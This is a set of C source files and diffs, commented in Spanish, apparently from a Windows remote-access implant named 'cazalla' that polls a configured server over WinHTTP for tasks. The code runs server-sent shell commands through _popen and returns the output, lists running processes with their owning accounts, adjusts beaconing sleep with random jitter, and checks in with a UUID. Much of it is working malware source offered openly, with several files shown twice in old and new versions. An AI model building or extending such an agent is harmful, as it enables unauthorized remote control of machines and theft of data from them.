if (numeroTareas) {
_dbg("[Tareas] hay %d tareas !\n", numeroTareas);
}
for (UINT32 i = 0; i < numeroTareas; i++) {
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
BYTE tarea = getByte(obtenerTarea);
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
if (tarea == SHELL_CMD)
{
ejecutarConsola(analizadorTarea);
}
else if (tarea == EXIT_CMD) {
cerrarCallback(analizadorTarea);
}else if(tarea == SLEEP_CMD){
sleep(analizadorTarea);
}
}
return TRUE;
}
BOOL commandDispatch(PAnalizador respuesta) {
BYTE tipoRespuesta = getByte(respuesta);
if (tipoRespuesta == GET_TASKING) {
return handleGetTasking(respuesta);
}
else if (tipoRespuesta == POST_RESPONSE) {
return TRUE;
}
return TRUE;
}
BOOL parseChecking(PAnalizador respuestaAnalizador) {
if (getByte(respuestaAnalizador) != CHECKIN) {
liberarAnalizador(respuestaAnalizador);
return FALSE;
}
SIZE_T tamanoUuid = 36;
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
setUUID(nuevoUuid);
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
liberarAnalizador(respuestaAnalizador);
return TRUE;
}
BOOL rutina() {
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
addInt32(obtenerTarea, NUMBER_OF_TASKS);
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
// sin respuesta
if (!respuestaAnalizador) {
return FALSE;
}
commandDispatch(respuestaAnalizador);
// Sleep
Sleep(cazallaConfig->tiempoSleep);
return TRUE;
#include "cazalla.h"
#include "comandos.h"
BOOL handleGetTasking(PAnalizador obtenerTarea) {
UINT32 numeroTareas = getInt32(obtenerTarea);
if (numeroTareas) {
_dbg("[Tareas] hay %d tareas !\n", numeroTareas);
}
for (UINT32 i = 0; i < numeroTareas; i++) {
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
BYTE tarea = getByte(obtenerTarea);
_dbg("[DEBUG] Tarea recibida: %x (Hex) | %d (Dec)", tarea, tarea);
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
if (tarea == SHELL_CMD)
{
ejecutarConsola(analizadorTarea);
}
else if (tarea == EXIT_CMD) {
cerrarCallback(analizadorTarea);
}else if(tarea == SLEEP_CMD){
sleep(analizadorTarea);
}else if(tarea == PROCESS_CMD){
listarProcesos(analizadorTarea);
}
}
return TRUE;
}
BOOL commandDispatch(PAnalizador respuesta) {
BYTE tipoRespuesta = getByte(respuesta);
if (tipoRespuesta == GET_TASKING) {
return handleGetTasking(respuesta);
}
else if (tipoRespuesta == POST_RESPONSE) {
return TRUE;
}
return TRUE;
}
BOOL parseChecking(PAnalizador respuestaAnalizador) {
if (getByte(respuestaAnalizador) != CHECKIN) {
liberarAnalizador(respuestaAnalizador);
return FALSE;
}
SIZE_T tamanoUuid = 36;
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
setUUID(nuevoUuid);
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
liberarAnalizador(respuestaAnalizador);
return TRUE;
}
BOOL rutina() {
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
addInt32(obtenerTarea, NUMBER_OF_TASKS);
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
// sin respuesta
if (!respuestaAnalizador) {
return FALSE;
}
commandDispatch(respuestaAnalizador);
// Sleep
Sleep(cazallaConfig->tiempoSleep);
return TRUE;
}
@@ -1,26 +1,27 @@
#pragma once
#ifndef COMMANDOS
#define COMMANDOS
#include "analizador.h"
#include "paquete.h"
#include "consola.h"
#include "cerrarCallback.h"
#include "sleep.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00
#define POST_RESPONSE 0x01
#define CHECKIN 0xf1
#define NUMBER_OF_TASKS 1
#define EXIT_CMD 0x80
#define SLEEP_CMD 0x38
BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina();
#pragma once
#ifndef COMMANDOS
#define COMMANDOS
#include "analizador.h"
#include "paquete.h"
#include "consola.h"
#include "cerrarCallback.h"
#include "sleep.h"
#include "procesos.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00
#define POST_RESPONSE 0x01
#define CHECKIN 0xf1
#define NUMBER_OF_TASKS 1
#define EXIT_CMD 0x80
#define SLEEP_CMD 0x38
#define PROCESS_CMD 0x15
BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina();
#endif
@@ -1,38 +1,38 @@
#include "consola.h"
BOOL ejecutarConsola(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamano = 0;
PCHAR comando = getString(argumentos, &tamano);
comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
FILE* fp;
CHAR ruta[1035];
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
//paquete temporal para la salida
PPaquete salida = nuevoPaquete(0, FALSE);
fp = _popen(comando, "rb");
if (!fp) {
_err("[Consola] Error ejecutando el comando");
return FALSE;
}
while (fgets(ruta, sizeof(ruta), fp) != NULL) {
addString(salida, ruta, FALSE);
}
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
_pclose(fp);
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
return TRUE;
#include "consola.h"
BOOL ejecutarConsola(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamano = 0;
PCHAR comando = getString(argumentos, &tamano);
comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
FILE* fp;
CHAR ruta[1035];
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
//paquete temporal para la salida
PPaquete salida = nuevoPaquete(0, FALSE);
fp = _popen(comando, "rb");
if (!fp) {
_err("[Consola] Error ejecutando el comando");
return FALSE;
}
while (fgets(ruta, sizeof(ruta), fp) != NULL) {
addString(salida, ruta, FALSE);
}
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
_pclose(fp);
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
return TRUE;
}
@@ -1,7 +1,7 @@
#pragma once
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "comandos.h"
#pragma once
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "comandos.h"
BOOL ejecutarConsola(PAnalizador argumentos);
@@ -1,42 +1,42 @@
#pragma once
#include <stdio.h>
#if defined(_DEBUG)
#define DBG "DBG"
#define ERR "ERR"
#define WRN "WRN"
#define INF "INF"
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__);
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#elif defined(_DEBUG_RELEASE)
#define DBG
#define ERR
#define WRN
#define INF
#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\
CHAR out[200] = { 0 };\
sprintf(out, format"\n", ## __VA_ARGS__);\
WriteFile(debugFile, out, strlen(out), NULL, NULL);\
CloseHandle(debugFile);}
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#else
#define DBG
#define ERR
#define WRN
#define INF
#define _log(level, format, ...)
#define _dbg(format, ...)
#define _err(format, ...)
#define _wrn(format, ...)
#define _inf(format, ...)
#pragma once
#include <stdio.h>
#if defined(_DEBUG)
#define DBG "DBG"
#define ERR "ERR"
#define WRN "WRN"
#define INF "INF"
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__);
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#elif defined(_DEBUG_RELEASE)
#define DBG
#define ERR
#define WRN
#define INF
#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\
CHAR out[200] = { 0 };\
sprintf(out, format"\n", ## __VA_ARGS__);\
WriteFile(debugFile, out, strlen(out), NULL, NULL);\
CloseHandle(debugFile);}
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#else
#define DBG
#define ERR
#define WRN
#define INF
#define _log(level, format, ...)
#define _dbg(format, ...)
#define _err(format, ...)
#define _wrn(format, ...)
#define _inf(format, ...)
#endif
@@ -0,0 +1,29 @@
#include "identity.h"
BOOL IdentityGetUserInfo(_In_ HANDLE hToken, _Out_ char* buffer, _In_ int tamano) {
TOKEN_USER informacionToken[0x1000];
SID_NAME_USE tipoSid;
DWORD tamanoRespuesta;
if (!GetTokenInformation(hToken, TokenUser, informacionToken, sizeof(informacionToken), &tamanoRespuesta)) {
return FALSE;
}
CHAR nombre[0x200] = { 0 };
CHAR dominio[0x200] = { 0 };
DWORD tamanoNombre = sizeof(nombre);
DWORD tamanoDominio = sizeof(dominio);
if (!LookupAccountSidA(NULL, informacionToken->User.Sid, nombre, &tamanoNombre, dominio, &tamanoDominio, &tipoSid)) {
return FALSE;
}
sprintf_s(buffer, tamano, "%s\\%s", dominio, nombre);
buffer[tamano - 1] = 0;
return TRUE;
}
@@ -0,0 +1,22 @@
#pragma once
#ifndef IDENTITY_H
#define IDENTITY_H
#include <windows.h>
extern HANDLE gTokenIdentidad;
extern BOOL gIdentidadIsLoggin;
extern WCHAR* gDominioIdentidad;
// extern WCHAR* gIdentityUsername;
// extern WCHAR* gIdentityPassword;
#define IDENTITY_MAX_WCHARS_DOMAIN 256
#define IDENTITY_MAX_WCHARS_USERNAME 256
#define IDENTITY_MAX_WCHARS_PASSWORD 512
//VOID IdentityImpersonateToken(void);
//VOID IdentityAgentRevertToken(void);
BOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size);
//BOOL IdentityIsAdmin(void);
#endif //IDENTITY_H
@@ -1,12 +1,12 @@
#include "cazalla.h"
//#ifdef _DEBUG
//int main()
//#else
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
//#endif
{
cazallaMain();
return 0;
#include "cazalla.h"
//#ifdef _DEBUG
//int main()
//#else
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
//#endif
{
cazallaMain();
return 0;
}
@@ -1,122 +1,152 @@
#include "cazalla.h"
#include "paquete.h"
//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
//v2 change to syscalls
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!paquete) {
_err("Error: fallo al asignar memoria para Paquete\n");
return NULL;
}
paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
if (!paquete->buffer) {
return NULL;
}
paquete->length = 0;
if (init) {
addString(paquete, cazallaConfig->idAgente, FALSE);
addByte(paquete, idComando);
}
return paquete;
}
VOID liberarPaquete(PPaquete paquete) {
LocalFree(paquete->buffer);
LocalFree(paquete);
}
PAnalizador mandarPaquete(PPaquete paquete) {
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
if (!respuesta) {
paqueteParaMandar = NULL;
return NULL;
}
return respuesta;
}
BOOL addByte(PPaquete paquete, BYTE byte) {
//v2. Syscalls
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
if (!paquete->buffer) {
return FALSE;
}
((PBYTE)paquete->buffer + paquete->length)[0] = byte;
paquete->length += 1;
return TRUE;
}
BOOL addInt32(PPaquete paquete, UINT32 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
paquete->length += sizeof(UINT32);
return TRUE;
}
BOOL addInt64(PPaquete paquete, UINT64 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
paquete->length += sizeof(UINT64);
return TRUE;
}
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
if (tamanoCopia && tamano) {
if (!addInt32(paquete, tamano)) {
return FALSE;
}
}
if (tamano) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
if (tamanoCopia) {
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
}
//v2.syscalls
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
paquete->length += tamano;
}
return TRUE;
}
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
return FALSE;
}
return TRUE;
}
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
return FALSE;
}
return TRUE;
}
#include "cazalla.h"
#include "paquete.h"
//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
//v2 change to syscalls
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!paquete) {
_err("Error: fallo al asignar memoria para Paquete\n");
return NULL;
}
paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
if (!paquete->buffer) {
return NULL;
}
paquete->length = 0;
if (init) {
addString(paquete, cazallaConfig->idAgente, FALSE);
addByte(paquete, idComando);
}
return paquete;
}
VOID liberarPaquete(PPaquete paquete) {
LocalFree(paquete->buffer);
LocalFree(paquete);
}
PAnalizador mandarPaquete(PPaquete paquete) {
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
if (!respuesta) {
paqueteParaMandar = NULL;
return NULL;
}
return respuesta;
}
BOOL addByte(PPaquete paquete, BYTE byte) {
//v2. Syscalls
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
if (!paquete->buffer) {
return FALSE;
}
((PBYTE)paquete->buffer + paquete->length)[0] = byte;
paquete->length += 1;
return TRUE;
}
BOOL addInt32(PPaquete paquete, UINT32 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
paquete->length += sizeof(UINT32);
return TRUE;
}
BOOL addInt64(PPaquete paquete, UINT64 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
paquete->length += sizeof(UINT64);
return TRUE;
}
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
if (tamanoCopia && tamano) {
if (!addInt32(paquete, tamano)) {
return FALSE;
}
}
if (tamano) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
if (tamanoCopia) {
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
}
//v2.syscalls
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
paquete->length += tamano;
}
return TRUE;
}
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
return FALSE;
}
return TRUE;
}
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
return FALSE;
}
return TRUE;
}
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...)
{
va_list args;
va_start(args, fmt);
// Determine how much space is needed for the formatted string
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1; // +1 for null terminator
va_end(args);
// Allocate a temporary buffer for the formatted string
char* tempBuffer = (char*)malloc(requiredLength);
if (tempBuffer == NULL)
{
return FALSE; // Memory allocation failed
}
va_start(args, fmt);
vsnprintf(tempBuffer, requiredLength, fmt, args);
va_end(args);
// Use addString to add the formatted string to the package
if (!addString(package, tempBuffer, copySize))
return FALSE;
// Free the temporary buffer
free(tempBuffer);
return TRUE;
}
@@ -1,31 +1,31 @@
#pragma once
#ifndef PAQUETE_H
#define PAQUETE_H
#include "utils.h"
#include "transporte.h"
#include "analizador.h"
#define TASK_COMPLETE 0x95
#define TASK_FAILED 0x99
typedef struct {
PVOID buffer;
SIZE_T length;
}Paquete, * PPaquete;
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
VOID liberarPaquete(PPaquete paquete);
PAnalizador mandarPaquete(PPaquete paquete);
BOOL addByte(PPaquete paquete, BYTE byte);
BOOL addInt32(PPaquete paquete, UINT32 valor);
BOOL addInt64(PPaquete paquete, UINT64 valor);
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
#pragma once
#ifndef PAQUETE_H
#define PAQUETE_H
#include "utils.h"
#include "transporte.h"
#include "analizador.h"
#define TASK_COMPLETE 0x95
#define TASK_FAILED 0x99
typedef struct {
PVOID buffer;
SIZE_T length;
}Paquete, * PPaquete;
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
VOID liberarPaquete(PPaquete paquete);
PAnalizador mandarPaquete(PPaquete paquete);
BOOL addByte(PPaquete paquete, BYTE byte);
BOOL addInt32(PPaquete paquete, UINT32 valor);
BOOL addInt64(PPaquete paquete, UINT64 valor);
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
#endif
@@ -0,0 +1,111 @@
#undef UNICODE
#include "procesos.h"
#include "paquete.h"
#include "analizador.h"
#include "identity.h"
#include "spawn.h"
#include <tlhelp32.h>
BOOL obtenerNombreDelToken(HANDLE hProcess, char* nombreCuenta, int tamano) {
HANDLE hToken;
BOOL result = OpenProcessToken(hProcess, TOKEN_QUERY, &hToken);
if (!result) {
return FALSE;
}
result = IdentityGetUserInfo(hToken, nombreCuenta, tamano);
if (!result) {
return FALSE;
}
CloseHandle(hToken);
return result;
}
VOID listarProcesos(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
UINT32 nbArg = getInt32(argumentos);
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
char nombreCuenta[2048] = { 0 };
PPaquete salida = nuevoPaquete(0, FALSE); // Paquete temporal
char* arch;
arch = IsWow64ProcessEx(GetCurrentProcess()) ? "x86" : "x64";
HANDLE toolhelp = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (toolhelp == INVALID_HANDLE_VALUE) {
goto cleanup;
}
PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
if (Process32First(toolhelp, &pe)) {
do {
HANDLE hProcess = OpenProcess(SelfIsWindowsVistaOrLater() ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
DWORD sid = -1;
if (hProcess) {
if (!obtenerNombreDelToken(hProcess, nombreCuenta, sizeof(nombreCuenta))) {
nombreCuenta[0] = '\0';
}
if (!ProcessIdToSessionId(pe.th32ProcessID, &sid)) {
sid = -1;
}
BOOL isWow64 = IsWow64ProcessEx(hProcess);
PackageAddFormatPrintf(salida,
FALSE,
"%s\t%d\t%d\t%s\t%s\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID,
isWow64 ? "x86" : arch,
nombreCuenta,
sid);
}
else {
PackageAddFormatPrintf(salida,
FALSE,
"%s\t%d\t%d\n",
pe.szExeFile,
pe.th32ParentProcessID,
pe.th32ProcessID);
}
CloseHandle(hProcess);
} while (Process32Next(toolhelp, &pe));
}
else {
DWORD error = GetLastError();
PPaquete errorPaquete = nuevoPaquete(POST_RESPONSE, TRUE);
addString(errorPaquete, tareaUuid, FALSE);
addInt32(errorPaquete, error);
mandarPaquete(errorPaquete);
liberarPaquete(errorPaquete);
goto cleanup;
}
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
if (!respuestaAnalizador) {
_err("[-] Error al mandar paquete\n");
}
liberarPaquete(respuestaTarea);
cleanup:
if (toolhelp) {
CloseHandle(toolhelp);
}
liberarPaquete(salida);
}
@@ -0,0 +1,10 @@
#pragma once
#ifndef PROCESOS_H
#define PROCESOS_H
#include <windows.h>
#include "analizador.h"
VOID listarProcesos(PAnalizador argumentos);
#endif
@@ -1,45 +1,45 @@
#include "sleep.h"
#include "cazalla.h"
BOOL sleep(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
UINT32 tiempoSleep = getInt32(argumentos);
UINT32 maxVarianza = getInt32(argumentos);
if (maxVarianza < 1) {
maxVarianza = 1;
}
const int minVarianza = 1;
const int rangoVarianza = maxVarianza / 2;
int aleatorio = aleatorioInt32(0, rangoVarianza);
tiempoSleep += aleatorio;
if (tiempoSleep < minVarianza) {
tiempoSleep = minVarianza;
}
if (cazallaConfig == NULL) {
_err("Error: cazallaConfig no ha sido inicializado.\n");
return FALSE;
}
printf("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
tiempoSleep = tiempoSleep * 1000;
cazallaConfig->tiempoSleep = tiempoSleep;
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
addInt32(respuestaTarea, tiempoSleep);
mandarPaquete(respuestaTarea);
return TRUE;
#include "sleep.h"
#include "cazalla.h"
BOOL sleep(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
UINT32 tiempoSleep = getInt32(argumentos);
UINT32 maxVarianza = getInt32(argumentos);
if (maxVarianza < 1) {
maxVarianza = 1;
}
const int minVarianza = 1;
const int rangoVarianza = maxVarianza / 2;
int Rand = aleatorioInt32(0, rangoVarianza);
tiempoSleep += Rand;
if (tiempoSleep < minVarianza) {
tiempoSleep = minVarianza;
}
if (cazallaConfig == NULL) {
_err("Error: cazallaConfig no ha sido inicializado.\n");
return FALSE;
}
_dbg("Tiempo Sleep antes: %d\n", cazallaConfig->tiempoSleep);
tiempoSleep = tiempoSleep * 1000;
cazallaConfig->tiempoSleep = tiempoSleep;
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
addInt32(respuestaTarea, tiempoSleep);
mandarPaquete(respuestaTarea);
return TRUE;
}
@@ -1,13 +1,13 @@
#pragma once
#ifndef SLEEP_H
#define SLEEP_H
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "comandos.h"
#include "utils.h"
BOOL sleep(PAnalizador argumentos);
#pragma once
#ifndef SLEEP_H
#define SLEEP_H
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "comandos.h"
#include "utils.h"
BOOL sleep(PAnalizador argumentos);
#endif
@@ -0,0 +1,40 @@
#include "spawn.h"
#include "analizador.h"
#include <versionhelpers.h>
#pragma warning(disable: 4996)
#define ProcessWow64Information 26
int osMajorVersion;
BOOL SelfIsWindowsVistaOrLater() {
return IsWindowsVistaOrGreater();
}
typedef WINBASEAPI BOOL(WINAPI* FN_KERNEL32_ISWOW64PROCESS)(_In_ HANDLE hProcess, _Out_ PBOOL Wow64Process);
BOOL IsWow64ProcessEx(HANDLE hProcess) {
HMODULE hModule = GetModuleHandleA("kernel32");
FN_KERNEL32_ISWOW64PROCESS _IsWow64Process = (FN_KERNEL32_ISWOW64PROCESS)GetProcAddress(hModule, "IsWow64Process");
if (_IsWow64Process == NULL)
{
_err("kernel32$IsWow64Process: IsWow64Process is NULL");
return FALSE;
}
BOOL bStatus = FALSE;
BOOL Wow64Process = FALSE;
// bStatus = _IsWow64Process(hProcess, &Wow64Process);
bStatus = _IsWow64Process(hProcess, &Wow64Process);
if (!bStatus)
{
_err("_IsWow64Process failed with status code : %d", GetLastError());
return FALSE;
}
return Wow64Process; // TODO bug ! - returns 0 (x86) for current process?
}
@@ -0,0 +1,23 @@
#pragma once
#ifndef NATIVE_H
#define NATIVE_H
#include <windows.h>
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
typedef NTSTATUS(WINAPI* NtQueryInformationProcess_t)(
HANDLE ProcessHandle,
ULONG ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
BOOL IsWow64ProcessEx(HANDLE hProcess);
extern int osMajorVersion;
#endif
@@ -1,123 +1,123 @@
#include "transporte.h"
int obtenerCodigoDeEstado(HANDLE hPeticion) {
DWORD codigoDeEstado = 0;
DWORD tamanoEstado = sizeof(DWORD);
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
return 0;
return codigoDeEstado;
}
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
PVOID respBuffer = NULL;
DWORD respSize = 0;
UCHAR buffer[1024] = { 0 };
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
// Configuración de Proxy
WINHTTP_PROXY_INFO infoProxy = { 0 };
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
httpProxy = cazallaConfig->urlProxy;
}
if (cazallaConfig->SSL) {
httpFlags |= WINHTTP_FLAG_SECURE;
}
// Crear sesión HTTP
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
if (!hSesion) return NULL;
// Conectar al servidor
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
if (!hConexion) return NULL;
// Crear petición HTTP/HTTPS
